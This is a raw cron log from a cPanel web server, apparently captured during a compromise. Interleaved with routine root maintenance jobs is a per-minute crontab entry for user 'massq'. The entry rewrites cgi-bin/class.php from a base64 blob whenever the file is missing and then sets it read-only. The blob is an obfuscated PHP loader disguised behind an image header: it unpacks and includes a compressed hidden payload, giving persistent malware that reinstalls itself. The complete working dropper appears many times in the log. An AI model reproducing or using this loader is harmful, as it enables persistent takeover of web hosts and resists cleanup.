Sep  9 19:38:01 server CROND[9550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:38:01 server CROND[9551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:38:01 server CROND[9552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:39:01 server CROND[9945]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 19:39:01 server CROND[9946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:39:01 server CROND[9949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:39:01 server CROND[9948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:40:01 server CROND[10503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:40:01 server CROND[10505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:40:01 server CROND[10511]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:40:01 server CROND[10514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:40:01 server CROND[10520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:40:01 server CROND[10530]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:40:01 server CROND[10534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:40:01 server CROND[10539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:41:01 server CROND[11339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:41:01 server CROND[11340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:41:01 server CROND[11341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:42:01 server CROND[11738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:42:01 server CROND[11739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:42:01 server CROND[11740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:42:01 server CROND[11741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:43:01 server CROND[12149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:43:01 server CROND[12150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:43:01 server CROND[12148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:44:01 server CROND[12558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:44:01 server CROND[12559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:44:01 server CROND[12560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:45:01 server CROND[13045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:45:01 server CROND[13047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:45:01 server CROND[13049]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:45:01 server CROND[13052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:45:01 server CROND[13050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:45:01 server CROND[13053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:45:01 server CROND[13051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:46:02 server CROND[13896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:46:02 server CROND[13898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:46:02 server CROND[13897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:47:01 server CROND[14289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:47:01 server CROND[14290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:47:01 server CROND[14291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:48:01 server CROND[14657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:48:01 server CROND[14656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:48:01 server CROND[14658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:49:01 server CROND[15040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:49:01 server CROND[15041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:49:01 server CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:50:01 server CROND[15437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:50:01 server CROND[15438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:50:01 server CROND[15442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:50:01 server CROND[15443]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
